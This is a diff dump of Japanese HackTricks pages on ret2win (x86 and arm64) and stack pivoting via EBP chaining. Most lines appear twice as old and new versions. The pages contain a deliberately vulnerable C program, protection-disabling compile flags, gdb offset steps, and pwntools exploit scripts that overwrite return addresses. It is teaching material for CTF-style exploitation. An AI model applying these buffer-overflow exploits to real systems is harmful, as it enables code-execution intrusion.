`win` 関数のアドレスを見つけるためには、**gdb**、**objdump**、またはバイナリファイルを調査することができる他のツールを使用できます。たとえば、`objdump` を使用して次のようにします: `win`関数のアドレスを見つけるには、**gdb**、**objdump**、またはバイナリファイルを検査できる他のツールを使用できます。例えば、`objdump`を使用して次のようにできます:
```sh ```sh
objdump -d vulnerable | grep win objdump -d vulnerable | grep win
``` ```
このコマンドは、`win` 関数のアセンブリを表示し、その開始アドレスを含めます。 このコマンドは、`win` 関数のアセンブリを表示し、その開始アドレスを含みます。&#x20;
Pythonスクリプトは、`vulnerable_function` によって処理されるときに、注意深く作成されたメッセージを送信し、バッファをオーバーフローさせ、スタック上の戻りアドレスを `win` のアドレスで上書きします。`vulnerable_function` が返るとき、`main` に戻るか終了する代わりに、`win` にジャンプし、メッセージが表示されます。 Python スクリプトは、`vulnerable_function` によって処理されると、バッファをオーバーフローさせ、スタック上のリターンアドレスを `win` のアドレスで上書きするように巧妙に作成されたメッセージを送信します。`vulnerable_function` が戻ると、`main` に戻るのではなく、`win` にジャンプし、メッセージが表示されます。
## 保護 ## 保護
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) は**無効にする必要があります**。そうしないと、アドレスが実行ごとに信頼性のあるものにならず、関数が格納されるアドレスが常に同じでないため、win 関数がどこにロードされるかを特定するためには何らかのリークが必要になります。オーバーフローを引き起こす関数が `read` などの場合、1または2バイトの**部分的な上書き**を行うことで、戻りアドレスを win 関数に変更することができます。ASLRの動作により、最後の3つの16進数のニブルはランダム化されないため、正しい戻りアドレスを取得する確率は**1/16**1ニブル)です。 * [**PIE**](../../common-binary-protections-and-bypasses/pie/) **は無効にするべきです**。そうしないと、アドレスが実行ごとに信頼できなくなり、関数が格納されるアドレスが常に同じではなくなり、`win` 関数がどこにロードされているかを把握するために何らかの leak が必要になります。オーバーフローを引き起こす関数が `read` やそれに類似するものである場合、リターンアドレスを `win` 関数に変更するために 1 または 2 バイトの **部分上書き** を行うことができます。ASLR の動作のため、最後の 3 つの16進数ニブルはランダム化されないため、正しいリターンアドレスを取得する確率は **1/16**1 ニブル)です。
* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) も無効にするか、侵害された EIP 戻りアドレスは決して追跡されません。 * [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/) も無効にするべきです。そうしないと、侵害された EIP リターンアドレスは決して追跡されません。
## 他の例と参考文献 ## その他の例と参考文献
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) * [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html) * [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
* 32ビット、ASLRなし * 32ビット、ASLRなし
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html) * [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
* ASLR付きの64ビット、バイナリアドレスのリークあり * ASLRありの64ビット、バイナリアドレスの leak あり
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html) * [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64ビット、ASLRなし * 64ビット、ASLRなし
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html) * [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32ビット、ASLRなし、ダブルスモールオーバーフロー、最初はスタックをオーバーフローさせ、次のオーバーフローのサイズを拡大する * 32ビット、ASLRなし、ダブル小オーバーフロー、最初にスタックをオーバーフローさせ、2回目のオーバーフローのサイズを拡大
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html) * [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32ビット、relro、canaryなし、nx、pieなし、アドレス `fflush` を win 関数ret2winで上書きするためのフォーマット文字列 * 32ビット、relro、カナリアなし、nx、pieなし、`fflush` のアドレスを `win` 関数ret2winで上書きするフォーマット文字列
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html) * [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
* 32ビット、nx、その他何もなし、EIP1バイトの部分的な上書きで win 関数を呼び出す * 32ビット、nx、他に何もなし、`win` 関数を呼び出すための EIP の部分上書き1バイト
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html) * [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
* 32ビット、nx、その他何もなし、EIP1バイトの部分的な上書きで win 関数を呼び出す * 32ビット、nx、他に何もなし、`win` 関数を呼び出すための EIP の部分上書き1バイト
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html) * [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* プログラムは数値の最後のバイトのみを検証して入力サイズを確認しており、したがって、最後のバイトが許可される範囲内であれば任意のサイズを追加することが可能です。その後、入力は ret2win で悪用されるバッファオーバーフローを作成します。 * プログラムは、入力のサイズをチェックするために数値の最後のバイトのみを検証しているため、最後のバイトが許可された範囲内であれば、任意のサイズを追加することが可能です。その後、入力は ret2win を利用したバッファオーバーフローを引き起こします。
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) * [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
* 64ビット、relro、canaryなし、nx、pie。 win 関数ret2winを呼び出すための部分的な上書き * 64ビット、relro、カナリアなし、nx、pie。`win` 関数ret2winを呼び出すための部分上書き
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) * [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
* arm64、PIE、win 関数のPIEリーク、実際には2つの関数を呼び出すROPガジェット * arm64、PIE、`win` 関数は実際には 2 つの関数であるため、2 つの関数を呼び出す ROP ガジェット
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) * [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
* ARM64、オフバイワンで win 関数を呼び出す * ARM64、オフバイワンで `win` 関数を呼び出す
## ARM64の例 ## ARM64 の例
{% content-ref url="ret2win-arm64.md" %} {% content-ref url="ret2win-arm64.md" %}
[ret2win-arm64.md](ret2win-arm64.md) [ret2win-arm64.md](ret2win-arm64.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
AWS ハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP ハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>で!</strong></summary> <summary>HackTricks をサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**Telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を送信してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
{% endhint %}

View file

@ -1,20 +1,27 @@
# Ret2win - arm64 # Ret2win - arm64
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする。**
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出する。
</details> </details>
{% endhint %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md) でarm64の紹介を見つける。 arm64の紹介は以下を参照してください
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## コード
```c ```c
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
@ -33,17 +40,17 @@ vulnerable_function();
return 0; return 0;
} }
``` ```
コンパイル時にPIEとCanaryを無効にしてください。 コンパイル時にPIEとカナリアを無効にする:
```bash ```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
``` ```
## オフセットの検出 ## オフセットの特定
### パターンオプション ### パターンオプション
この例は[**GEF**](https://github.com/bata24/gef)を使用して作成されました: この例は[**GEF**](https://github.com/bata24/gef)を使用して作成されました:
GEFを使用してgdbを起動し、パターンを作成して使用します gefでgdbを起動し、パターンを作成して使用します
```bash ```bash
gdb -q ./ret2win gdb -q ./ret2win
pattern create 200 pattern create 200
@ -51,17 +58,17 @@ run
``` ```
<figure><img src="../../../.gitbook/assets/image (1205).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64は、レジスタx30侵害されたレジスタ)に含まれるアドレスに戻ろうとします。これを使用してパターンオフセットを見つけることができます。 arm64は、レジスタx30侵害された)にあるアドレスに戻ろうとします。これを利用してパターンオフセットを見つけることができます:
```bash ```bash
pattern search $x30 pattern search $x30
``` ```
<figure><img src="../../../.gitbook/assets/image (1206).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1206).png" alt=""><figcaption></figcaption></figure>
**オフセットは72 (9x48) です。** **オフセットは729x48です。**
### スタックオフセットオプション ### スタックオフセットオプション
最初に、pc レジスタが格納されているスタックアドレスを取得ます: pcレジスタが格納されているスタックアドレスを取得することから始めます:
```bash ```bash
gdb -q ./ret2win gdb -q ./ret2win
b *vulnerable_function + 0xc b *vulnerable_function + 0xc
@ -70,18 +77,18 @@ info frame
``` ```
<figure><img src="../../../.gitbook/assets/image (1207).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1207).png" alt=""><figcaption></figcaption></figure>
`read()`の後にブレークポイントを設定し、`read()`が実行されるまで継続し、13371337のようなパターンを設定します。 次に、`read()`の後にブレークポイントを設定し、`read()`が実行されるまで続けて、13371337のようなパターンを設定します:
``` ```
b *vulnerable_function+28 b *vulnerable_function+28
c c
``` ```
<figure><img src="../../../.gitbook/assets/image (1208).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1208).png" alt=""><figcaption></figcaption></figure>
このパターンがメモリのどこに保存されているかを見つけます: このパターンがメモリのどこに保存されているかを見つけます:
<figure><img src="../../../.gitbook/assets/image (1209).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1209).png" alt=""><figcaption></figcaption></figure>
次に:**`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`** 次に: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../.gitbook/assets/image (1210).png" alt="" width="339"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
@ -95,9 +102,7 @@ objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64 ret2win: file format elf64-littleaarch64
00000000004006c4 <win>: 00000000004006c4 <win>:
``` ```
Exploit: エクスプロイト:
**Exploit(攻撃手法):**
```python ```python
from pwn import * from pwn import *
@ -121,7 +126,7 @@ p.close()
### Off-by-1 ### Off-by-1
実際には、これはスタック内の格納されたPCにおいてオフバイ2のようになります。 戻りアドレス全体を上書きするのではなく、**最後の2バイトのみ**を `0x06c4` で上書きします。 実際には、これはスタックに保存されたPCでオフバイ2のようになります。すべてのリターンアドレスを上書きするのではなく、**最後の2バイトのみ**を`0x06c4`で上書きします。
```python ```python
from pwn import * from pwn import *
@ -143,17 +148,17 @@ p.close()
``` ```
<figure><img src="../../../.gitbook/assets/image (1212).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
ARM64における別のオフバイワンの例は、[https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) で見つけることができます。これは架空の脆弱性における実際のオフバイ**one**です。 ARM64別のオフバイワンの例は、[https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)で見つけることができ、これは架空の脆弱性における実際のオフバイ-**ワン**です。
## PIEを使用する場合 ## PIEを使用して
{% hint style="success" %} {% hint style="success" %}
バイナリを**`-no-pie`引数なしで**コンパイルします バイナリを**`-no-pie`引数なしでコンパイルします**
{% endhint %} {% endhint %}
### オフバイ2 ### オフバイ-2
リークがない場合、勝利関数の正確なアドレスはわかりませんが、バイナリから関数のオフセットを知ることができ、上書きしているリターンアドレスがすでに近いアドレスを指していることを知っているので、この場合、勝利関数のオフセット(**0x7d4**)をリークさせることが可能であり、そのオフセットを使用するだけです: リークがない、勝利関数の正確なアドレスはわかりませんが、バイナリから関数のオフセットを知ることができ、上書きしている戻りアドレスがすでに近いアドレスを指していることを考慮すると、この場合、勝利関数へのオフセット(**0x7d4**)をリークし、そのオフセットを使用することが可能です:
<figure><img src="../../../.gitbook/assets/image (1213).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python ```python
@ -175,16 +180,17 @@ p.send(payload)
print(p.recvline()) print(p.recvline())
p.close() p.close()
``` ```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループに参加**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,72 +1,75 @@
# スタックピボッティング - EBP2Ret - EBPチェイニング # Stack Pivoting - EBP2Ret - EBP chaining
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricks をサポートする他の方法: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする。**
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出する。
</details> </details>
{% endhint %}
## 基本情報 ## 基本情報
このテクニックは、**ベースポインタEBP**を操作して、EBPレジスタと **`leave; ret`** 命令シーケンスを注意深く使用して複数の関数の実行をチェーンする能力を悪用します。 この技術は、**ベースポインタEBP**を操作する能力を利用して、EBPレジスタと**`leave; ret`**命令シーケンスを慎重に使用することで、複数の関数の実行を連鎖させます。
再確認ですが、**`leave`** は基本的に次の意味です: おさらいとして、**`leave`**は基本的に次のことを意味します:
``` ```
mov ebp, esp mov ebp, esp
pop ebp pop ebp
ret ret
``` ```
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
### EBP2Ret ### EBP2Ret
このテクニックは、**EBPレジスタを変更できますが、EIPレジスタを直接変更する方法がない**場合に特に有用です。関数が実行を終了する際の挙動を活用します。 この技術は、**EBPレジスタを変更できるが、EIPレジスタを直接変更する方法がない場合**に特に有用です。これは、関数が実行を終了する際の動作を利用します。
`fvuln`の実行中に、スタックに**偽のEBP**を挿入し、そのEBPがESPが指すメモリ領域を指すようにすることに成功すれば`pop`操作を考慮してシェルコードのアドレスが格納されているメモリ領域のアドレスに4バイトを加算、間接的にEIPを制御できます。`fvuln`がリターンすると、ESPはこの作成された位置に設定され、その後の`pop`操作によりESPが4減少し、**実質的に攻撃者によってそこに格納されたアドレスを指すようになります。**\ `fvuln`の実行中に、シェルコードのアドレスがあるメモリの領域を指す**偽のEBP**をスタックに注入することができれば(`pop`操作のために4バイトを加算、EIPを間接的に制御できます。`fvuln`が戻ると、ESPはこの作成された位置に設定され、その後の`pop`操作でESPが4減少し、**攻撃者がそこに保存したアドレスを指すことになります。**\
ここで注意すべきは、**2つのアドレスを知る必要がある**ことですESPが移動する場所と、ESPが指すアドレスを書き込む必要がある場所です。 ここで、**2つのアドレスを知っておく必要があります**: ESPが移動するアドレスと、ESPが指すアドレスを書き込む必要がある場所です。
#### 攻撃構築 #### Exploit Construction
まず、**任意のデータ/アドレスを書き込むことができるアドレスを知る必要があります**。ESPはここを指し、**最初の`ret`を実行**します。 まず、**任意のデータ/アドレスを書き込むことができるアドレス**を知っておく必要があります。ESPはここを指し、**最初の`ret`を実行します**
次に、**任意のコードを実行する**`ret`によって使用されるアドレスを知る必要があります。次のものを使用できます: 次に、**任意のコードを実行する**ために使用される`ret`のアドレスを知っておく必要があります。以下のように使用できます:
* 有効な[**ONE\_GADGET**](https://github.com/david942j/one\_gadget)アドレス。 * 有効な[**ONE\_GADGET**](https://github.com/david942j/one\_gadget)アドレス。
* **`system()`**のアドレスに続く**4つのジャンクバイト**と`"/bin/sh"`のアドレスx86ビット * **`system()`**のアドレスの後に**4バイトのジャンク**と`"/bin/sh"`のアドレスx86ビット
* **`jump esp;`** ガジェットのアドレス([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)と実行する**シェルコード**。 * **`jump esp;`**ガジェットのアドレス([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)の後に**実行するシェルコード**。
* いくつかの[**ROP**](../rop-return-oriented-programing/)チェーン * 一部の[**ROP**](../rop-return-oriented-programing/)チェーン
制御されたメモリのこのアドレスの前には、`leave`命令の**`pop`**部分のために**`4`バイト**が必要です。これらの4バイトを悪用して**2番目の偽のEBP**を設定し、実行を継続することが可能です。 制御されたメモリのこれらのアドレスの前には、**`4`バイト**が必要です。これは**`pop`**部分の`leave`命令のためです。これらの4バイトを悪用して**2つ目の偽EBP**を設定し、実行を制御し続けることが可能です。
#### Off-By-One Exploit #### Off-By-One Exploit
このテクニックの特定のバリアントを「Off-By-One Exploit」として知られています。これは、**EBPの最も重要なバイトのみを変更できる**場合に使用されます。その場合、**`ret`**でジャンプするアドレスを格納するメモリ位置は、最初の3バイトをEBPと共有する必要があり、より制約のある条件で同様の操作が可能になります。\ この技術には「Off-By-One Exploit」として知られる特定のバリアントがあります。これは、**EBPの最下位バイトのみを変更できる**場合に使用されます。この場合、**`ret`**でジャンプするアドレスを格納するメモリ位置はEBPの最初の3バイトを共有する必要があり、より制約のある条件で類似の操作が可能です。\
通常、できるだけ遠くにジャンプするためにバイト0x00を変更します。 通常、0x00のバイトを変更してできるだけ遠くにジャンプします。
また、スタックにRETスレッドを使用し、実際のROPチェーンを最後に配置して、新しいESPがRET SLED内部を指し、最終的なROPチェーンが実行される可能性を高めることが一般的です。 また、スタックにRETスレッドを使用し、実際のROPチェーンを最後に配置して、新しいESPがRETスレッド内を指し、最終的なROPチェーンが実行される可能性を高めることが一般的です。
### **EBP Chaining** ### **EBP Chaining**
したがって、スタックの`EBP`エントリに制御されたアドレスを配置し、`EIP`に`leave; ret`のアドレスを配置すると、**`ESP`をスタックから制御された`EBP`アドレスに移動**することができます したがって、スタックの`EBP`エントリに制御されたアドレスを配置し、`EIP`に`leave; ret`のアドレスを配置する、**スタックから制御された`EBP`アドレスに`ESP`を移動させることが可能です**
今、**`ESP`**は望ましいアドレスを指し、次に実行される命令は`RET`です。これを悪用するために、制御されたESPの場所に次のものを配置できます 今、**`ESP`**は制御され、望ましいアドレスを指しており、次に実行される命令は`RET`です。これを悪用するために、制御されたESPの場所に次のものを配置することができます:
* **`&(次の偽のEBP)`** -> `leave`命令の`pop ebp`によって新しいEBPをロードします * **`&(next fake EBP)`** -> `leave`命令からの`pop ebp`により新しいEBPをロード
* **`system()`** -> `ret`によって呼び出されます * **`system()`** -> `ret`によって呼び出され
* **`&(leave;ret)`** -> systemが終了した後に呼び出され、ESPを偽のEBPに移動させて再開します * **`&(leave;ret)`** -> systemが終了した後に呼び出され、ESPを偽EBPに移動させ、再び開始
* **`&("/bin/sh")`**-> `system`のパラメータ * **`&("/bin/sh")`**-> `system`のパラメータ
基本的に、プログラムのフローを制御するために複数の偽のEBPをチェーンすることが可能です。 基本的に、この方法で複数の偽EBPを連鎖させてプログラムのフローを制御することが可能です。
これは[ret2lib](../rop-return-oriented-programing/ret2lib/)のようなものですが、明らかな利点はなく、いくつかのエッジケースで興味深いかもしれません。 これは[ret2lib](../rop-return-oriented-programing/ret2lib/)のようなものですが、明らかな利点はなく、特定のエッジケースで興味深いかもしれません。
